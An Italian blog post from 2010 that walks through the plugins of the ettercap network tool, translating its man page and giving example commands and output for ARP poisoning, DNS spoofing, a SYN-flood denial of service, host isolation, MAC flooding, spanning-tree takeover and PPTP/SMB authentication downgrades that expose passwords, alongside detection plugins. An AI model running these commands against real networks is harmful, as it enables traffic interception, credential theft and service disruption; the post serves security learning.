I plugins di ettercap
by admin on Jan.20, 2010, under Hacking, Linux, Sicurezza, Tools
Ettercap supporta una serie di moduli, chiamati plugins, caricabili a runtime.
Per ottenere un elenco dei plugins installati occorre impartire il comando:
# ettercap -P list
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Available plugins :
arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 1.1 Check if the poisoning had success
dns_spoof 1.1 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN
find_ettercap 2.0 Try to find ettercap activity
find_ip 1.0 Search an unused IP address in the subnet
finger 1.6 Fingerprint a remote host
finger_submit 1.0 Submit a fingerprint to ettercap's website
gre_relay 1.0 Tunnel broker for redirected GRE tunnels
gw_discover 1.0 Try to find the LAN gateway
isolate 1.0 Isolate an host from the lan
link_type 1.0 Check the link type (hub/switch)
pptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapms-v2
pptp_clear 1.0 PPTP: Tries to force cleartext tunnel
pptp_pap 1.0 PPTP: Forces PAP authentication
pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation
rand_flood 1.0 Flood the LAN with random MAC addresses
remote_browser 1.2 Sends visited URLs to the browser
reply_arp 1.0 Simple arp responder
repoison_arp 1.0 Repoison after broadcast ARP
scan_poisoner 1.0 Actively search other poisoners
search_promisc 1.2 Search promisc NICs in the LAN
smb_clear 1.0 Tries to force SMB cleartext auth
smb_down 1.0 Tries to force SMB to not use NTLM2 key auth
stp_mangler 1.0 Become root of a switches spanning tree
Di seguito vi è una descrizione sintetica dei plugins disponibili, ottenuta attraverso una traduzione spero accurata della relativa man-page, e arricchita da qualche esempio:
arp_cop
Esso rileva una sospetta attività ARP monitorando passivamente le richieste/risposte ARP. Per tale motivo è in grado di rilevare i tentativi di ARP posioning, o semplicemente la presenza di conflitti nella attribuzione degli indirizzi IP.
esempio:
# ettercap -TQP arp_cop //
[...]
Activating arp_cop plugin…
arp_cop: plugin running...
arp_cop: (IP-change) [00:1A:92:B8:1A:EC] 192.168.1.10 -> 192.168.1.40
autoadd
Aggiunge automaticamente nuovi targets all’attacco di ARP poisoning non appena diano segni di vita. Si pone in ascolto di richieste ARP nella lan e, non appena ne rileva una, aggiunge il relativo host alla lista delle vittime.
esempio:
# ettercap -TQP autoadd // ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Listening on eth0... (Ethernet) eth0 -> 00:1A:92:B8:1A:EC 192.168.1.10 255.255.255.0 [...] Activating autoadd plugin... Hosts list: 1) 192.168.1.1 00:15:E9:F9:15:C6 2) 192.168.1.200 00:18:4D:D2:F0:06
chk_poison
Effettua un controllo della funzionalità di arp poisoning. Invia pacchetti ICMP echo “spoofed” a tutte le vittime. Se viene rilevato un pacchetto ICMP “reply” con uno di tali indirizzi MAC come destinazione significa che il poisoning ha avuto successo.
Non è possibile lanciare questo plugin dalla linea di comando poiché il processo di poisoning non è ancora stato avviato. Occorre quindi lanciarlo dallo specifico menu.
dns_spoof
Lo si è gia incontrato in un post precedente.
Questo plugin intercetta le richieste DNS e replica con una risposta falsa. Si può specificare per quale indirizzo il plugin debba replicare modificando il file etter.dns. Il plugin intercetta richieste di tipo A, PTR ed MX.
Se si tratta di una richiesta A (Address), il nome viene ricercato nel file e viene restituito l’indirizzo ip (si possono anche utilizzare wildcards per specificare il nome). Se si tratta di una richiesta PTR, nel file viene ricercato invece l’indirizzo IP e viene restituito il nome.
Nel caso di una richiesta di tipo MX viene forgiata una speciale risposta.
Il nome host viene risolto semplicemente come “mail.” mentre la sezione addizionale del record conterrà il relativo indirizzo ip.
Pertanto se, dopo aver impostato in etter.dns:
voipandhack.it A 192.168.1.10
*.voipandhack.it A 192.168.1.10
voipandhack.it MX 192.168.1.10
voipandhack.it PTR 192.168.1.10
si impartisse:
# ettercap -T -M arp:remote /192.168.1.20/ /192.168.1.1/ -P dns_spoof
successive interrogazioni DNS effettuate sull’host 192.168.1.20 (192.168.1.1 rappresenta il gateway di default) restituirebbero:
# dig voipandhack.it
[...]
;; ANSWER SECTION:
voipandhack.it. 3600 IN A 192.168.1.10
[...]
# dig -x 192.168.1.10
[...]
;; ANSWER SECTION:
10.1.168.192.in-addr.arpa. 3600 IN PTR voipandhack.it
[...]
# dig voipandhack.it -t MX
[...]
;; ANSWER SECTION:
voipandhack.it. 3600 IN MX 10 mail.voipandhack.it
[...]
contemporaneamente, sulla console dalla quale è stato lanciato ettercap, avremmo dei riscontri:
Tue Jan 19 18:42:57 2010
UDP 192.168.1.20:44882 --> 212.216.112.112:53 |
.q...........voipandhack.it.....
dns_spoof: [voipandhack.it] spoofed to [192.168.1.10]
Tue Jan 19 18:44:01 2010
UDP 192.168.1.20:52951 --> 212.216.112.112:53 |
.............10.1.168.192.in-addr.arpa.....
dns_spoof: [10.1.168.192.in-addr.arpa] spoofed to [voipandhack.it]
Tue Jan 19 18:44:51 2010
UDP 192.168.1.20:39718 --> 212.216.112.112:53 |
.............voipandhack.it.....
dns_spoof: MX [voipandhack.it] spoofed to [192.168.1.10]
dos_attack
Questo plugin attua un attacco d.o.s. contro una vittima individuata da un indirizzo IP. Esso dapprima “scansiona” la vittima per trovare porte in stato open, quindi inizia ad inondare tali porte con pacchetti SYN, utilizzando un indirizzo IP “fantasma” come sorgente. Quindi usa risposte ARP fasulle al fine di intercettare i pacchetti destinati all’host fantasma. Non appena riceve un pacchetto SYN-ACK da pare della vittima, replica con un pacchetto ACK creando di conseguenza una connessione in stato ESTABLISHED.
Occorre ricorrere ad un indirizzo IP non utilizzato della propria subnet per creare l’host fantasma (si può usare il plugin find_ip a tale scopo).
esempio:
# ettercap -TQP dos_attack
[...]
Activating dos_attack plugin…
Insert victim IP: 192.168.1.200
Insert unused IP: 192.168.1.7
dos_attack: Starting scan against 192.168.1.200 [Fake Host: 192.168.1.7]
dos_attack: Port 80 added
dos_attack: Starting attack…
dummy
Solamente un template per mostrare come scrivere un plugin.
find_conn
Un plugin minimale che resta in ascolto di richieste ARP in grado di rivelare tutti i targets con i quali un host intenda comunicare. Può essere utile per trovare gli indirizzi in una LAN sconosciuta.
esempio:
# ettercap -TQzP find_conn
[...]
find_conn: Probable connection attempt 192.168.1.10 -> 192.168.1.200
find_ettercap
Cerca di identificare pacchetti immesso nella LAN da una istanza di ettercap. Dovrebbe cioè servire a determinare se qualcuno stia utilizzando ettercap. Il test si basa sul rilevamento di particolari numeri di sequenza.
find_ip
Questo plugin è in grado di rilevare il primo indirizzo IP non usato nel range specificato dall’utente nella target list. Alcuni altri plugins (come ad esempio dos_attack o gre_relay) necessitano di un indirizzo IP inutilizzato della LAN per creare un host fantasma.
Può anche risultare utile per ottenere un indirizzo IP in una LAN sconosciuta dove non sia presente un server dhcp. Si può in tal caso usare find_conn per determinare l’indirizzamento IP della LAN, e quindi find_ip. Non disponendo ancora di un indirizzo IP per la propria interfaccia, occorre assegnarnene uno fittizio (ad esempio, se lo spazio di indirizzamento della LAN fosse 192.168.0.0/24, si può usare 10.0.0.1 per evitare conflitti IP), e poi lanciare questo plugin, indifferentemente da linea di comando o da un menu della UI) specificando un subnet range.
esempo:
# ettercap -TQP find_ip //
oppure
# ettercap -TQP find_ip /192.168.0.1-254/
[...]
Activating find_ip plugin…
find_ip: Searching an unused IP address...
find_ip: 192.168.1.2 seems to be unused
Unified sniffing was stopped.
finger
Questo plugin fa uso di capacità di fingerprint passivo su di un host remoto. Esso effettua una connect() verso l’host remoto per forzarne il kernel a rispondere al pacchetto SYN con un pacchetto SYN+ACK. La risposta viene catturata ed il fingerprint mostrato a video. La connect() obbedisce al parametro connect_timeout presente in etter.conf. È possibile specificare un target sulla linea di comando o lasciare che lo richieda il plugin stesso. Si possono specificare target multipli. Specificando porte multiple, tutte verranno sondate su tutti gli IPs.
esempio:
# ettercap -TzP finger /192.168.0.1/22
oppure:
# ettercap -TzP finger /192.168.1.1/23,80
[...]
Activating finger plugin…
Fingerprinting 192.168.1.1:23...
FINGERPRINT : 16A0:05B4:40:00:1:1:1:1:A:3C
OPERATING SYSTEM : Linux 2.4.xx
Fingerprinting 192.168.1.1:80...
FINGERPRINT : 16A0:05B4:40:00:1:1:1:1:A:3C
OPERATING SYSTEM : Linux 2.4.xx
Unified sniffing was stopped.
finger_submit
Questo plugin va utilizzato per sottoporre un particolare fingerprint al sito web di ettercap.
Se si rilevasse un fingerprint sconosciuto, ma si conoscesse per certo il sistema operativo del target, lo si potrebbe sottoporre per fare in modo che esso venga inserito nel database che accompagnerà la prossima release di ettercap.
esempio:
# ettercap -TzP finger_submit
gre_relay
Questo plugin può essere usato per “sniffare” GRE-redirected remote traffic.
Il concetto alla base è quello di creare un tunnel GRE che invii tutto il traffico passante per l’interfaccia di un router alla macchina sulla quale è in esecuzione ettercap. Il plugin ritornerà i pacchetti GRE al router, dopo che ettercap li abbia “manipolati” (sul traffico rediretto si possono adoperare plugins “attivi” come smb_down, ssh decryption, filtri, ecc…).
Necessita di un “fake” host sul quale redirigere il traffico (per evitare risposte dal kernel). L’indirizzo IP fasullo costituirà il punto terminale del tunnel. Il plugin gre_relay impersonerà l’host fasullo.
Per trovare un idirizzo IP non usato per l’host fasullo si può ricorrere al plugin find_ip.
gw_discover
Questo plugin cerca di scoprire quale sia il gateway della lan tramite l’invio di pacchetti TCP SYN ad un host remoto. Ogni pacchetto ha come IP di destinazione quello di un host remoto e come indirizzo MAC di destinazione quello di un host locale. Se ettercap riceve un pacchetto SYN+ACK, l’ host che possiede l’indirizzo mac sorgente della risposta è il gateway. Questa operazione viene ripetuta per ciascun host della “host list”.
esempio:
# ettercap -TP gw_discover /192.168.1.1-255/
[...]
* |==================================================>| 100.00 %
[...]
Activating gw_discover plugin…
Insert remote IP:PORT : 195.210.91.83:80
[...]
Remote target is 195.210.91.83:80…
Sending the SYN packet to 192.168.1.1 [00:15:E9:F9:15:C6]
Sending the SYN packet to 192.168.1.20 [00:0F:B5:83:2F:29]
Sending the SYN packet to 192.168.1.200 [00:18:4D:D2:F0:06]
[00:15:E9:F9:15:C6] 192.168.1.1 is probably a gateway for the LAN
isolate
Il plugin isolate serve appunto ad isolare un host dalla LAN. Avvelena la cache arp della vittima con il proprio indirizzo mac associato a tutti gli host che essa cerca di contattare. In tal modo l’ host non sarà più capace di contattare altri hosts.
Si possono specificare tutti gli host o solamente un sottoinsieme. La specificazione dei targets opera nel modo seguente: target1 individua la vittima e deve corrispondere ad un singolo host, target2 può essere un range di indirizzi e rappresenta gli hosts cui viene inibito l’accesso da parte della vittima.
esempio:
# ettercap -TzqP isolate /192.168.1.20/ //
[...]
Activating isolate plugin…
isolate: 192.168.1.200 added to the list
isolate: 192.168.1.10 added to the list
Interrogando la cache ARP della vittima si può facilmente verificare che ai due hosts che essa ha tentato di contattare sono stati attribuiti lo stesso indirizzo fisico, corrispondente a quello reale della sua interfaccia:
# arp -an
? (192.168.1.200) at 00:0f:b5:83:2f:29 [ether] on eth2
? (192.168.1.10) at 00:0f:b5:83:2f:29 [ether] on eth2
link_type
Effettua un controllo sul tipo di link (hub o switch) tramite l’invio di una richiesta ARP contraffatta, ponendosi quindi in attesa di una risposta. Necessita di almeno una voce nella host list. Con due o più hosts il test risulterà più accurato.
esempio:
# ettercap -TQP link_type /192.168.1.200/
[...]
link_type: Only one host in the list. Check will be less reliable
link_type: Checking link type...
link_type: You are plugged into a HUB
# ettercap -TQP link_type //
[...]
link_type: Checking link type…
link_type: You are plugged into a SWITCH
pptp_chapms1
Esso forza il tunnel pptp a negoziare una autenticazione MS-CHAPv1 invece che MS-CHAPv2, dato che è normalmente più facile da violare.
Occorre trovarsi nel “mezzo” di una connessione (mitm per poterlo utilizzare con successo.
Si avvale del dissector smb, per cui occorre averlo attivo.
pptp_clear
Forza a non utilizzare alcuna compressione/criptazione per i tunnels pptp durante una negoziazione. Potrebbe fallire nel caso in cui il client (oppure il server) fosse configurato per sganciarsi dal tunnel nel caso in cui non venisse negoziata alcuna criptazione.
Occorre trovarsi nel “mezzo” di una connessione (mitm per poterlo utilizzare con successo.
Si avvale del dissector smb, per cui occorre averlo attivo.
pptp_pap
Forza il tunnel pptp a negoziare una autenticazione PAP (cleartext). Potrebbe fallire nel caso in cui PAP non fosse supportata, se mancasse il file pap_secret, oppure nel caso in cui windows fosse configurato con “authomatic use of domain account”. (Potrebbe fallire in realtà per molti altri motivi).
Occorre trovarsi nel “mezzo” di una connessione (mitm per poterlo utilizzare con successo.
Si avvale del dissector smb, per cui occorre averlo attivo.
pptp_reneg
Forza una ri-negoziazione relativa ad un tunnel pptp esistente. È possibile forzare la ri-negoziazione per catturare passwords già inviate. Inoltre lo si può lanciare per usare pptp_pap, pptp_chapms1 o pptp_clear a carico di tunnels esistenti (tali plugins operano sulamente la fase di negoziazione).
Occorre trovarsi nel “mezzo” di una connessione (mitm) per poterlo utilizzare con successo.
Si avvale del dissector smb, per cui occorre averlo attivo.
rand_flood
Inonda la LAN con pacchetti aventi un indirizzo MAC casuale. In tale situazione alcuni switches vanno in tilt e replicano tutto il traffico su ogni porta, come se fossero un hub, e facilitando quindi lo sniffing. Il ritardo tra un pacchetto e l’altro si basa sul valore port_steal_send_delay presente in etter.conf.
esempio:
# ettercap -TP rand_flood
remote_browser
Abbiamo incontrato questo plugin in precedenza. Esso invia al browser locale le URLs catturate tramite le sessioni HTTP, permettendo di seguire in realtime la navigazione web della vittima.
Esso invia al browser solamente le richieste GET e solo per pagine web complete, ignorando richieste di singole immagini ecc.
reply_arp
Si tratta di un semplice risponditore arp. Quando intercetta una richiesta arp relativa ad un host presente nella lista dei targets, esso replica con l’indirizzo MAC dell’attaccante.
esempi:
# ettercap -TQzP reply_arp /192.168.0.1/
# ettercap -TQzP reply_arp //
repoison_arp
Rinnova l’invio di pacchetti “avvelenanti” in seguito a richieste (o risposte) ARP broadcast da parte di un host “avvelenato”.
Si assuma, per esempio, di avvelenare una serie di hosts in Group1 impersonando Host2. Se Host2 effettuasse una richiesta ARP broadcast per Host3, potrebbe accadere che Group1 inserisca nella cache il corretto indirizzo MAC per Host2 contenuto nel relativo pacchetto ARP. Questo plugin serve appunto a ri-avvelenare la cache di Group1 immediatamente dopo una legittima richiesta (o risposta) ARP broadcast.
esempio:
# ettercap -T -M arp:remote -P repoison_arp /192.168.0.10-20/ /192.168.0.1/
scan_poisoner
Controlla se qualcuno stia effettuando un poisoning tra qualche host della lista e noi. Per prima cosa controlla se per caso due hosts nella lista abbiano il medesimo indirizzo mac. Potrebbe significare che uno di essi stia tentando di ingannarci pretendendo di essere l’altro. Potrebbe generare molti falsi-positi in ambiente proxy-arp. Per attuare questo controllo è necessaria una lista di hosts, dopodiché, esso invia pacchetti icmp echo a ciascun host nella lista e controlla se l’indirizzo mac sorgente della risposta differisce da quello memorizzato nella lista per quel ip. Potrebbe significare che qualcuno sta avvelenando quell’ host pretendendo di avere il nostro indirizzo ip address e successivamente ci reinoltri i pacchetti intercettati.
esempio:
# ettercap -TQP scan_poisoner //
search_promisc
Questo plugin serve a rilevare se qualcuno sta attuando uno sniffing in promisc mode.
Ettercap invia due differenti tipologie di richieste ARP malformate ad ogni nodo nella rete ed attende la risposta. Nel caso questa arrivi, è piuttosto probabile che il nodo origine abbia l’interfaccia di rete impostata in modalità promiscua.
Potrebbe generare falsi-positivi.
esempi:
# ettercap -TQP search_promisc /192.168.0.1/
# ettercap -TQP search_promisc //
smb_clear
Cerca di costringere il client ad inviare la password smb in clear-text alterando la negoziazione del protocollo. Occorre trovarsi nel “mezzo” di una connessione per poterlo utilizzare con successo. Si avvale del dissector smb, per cui occorre averlo attivo. Utilizzandolo contro un client windows, probabilmente fallirebbe, ma lo si può tentare contro un smbclient *nix.
smb_down
Forza il client a non fare uso di una password NTLM2 durante la autenticazione smb. In questo modo, gli hashes ottenuti possono essere facilmente violati. Occorre trovarsi nel “mezzo” della connessione perché abbia successo. Si avvale del dissector smb, per cui occorre averlo attivo.
stp_mangler
Invia dei pacchetti BPDU (Bridge Protocol Data Unit) spanning tree pretendendo di essere uno switch con priorità piu alta. Una volta nella “root” dello spanning tree, ettercap sarà in grado di ricevere tutto il traafico di rete “unmanaged”.
esempio:
# ettercap -TP stp_mangler


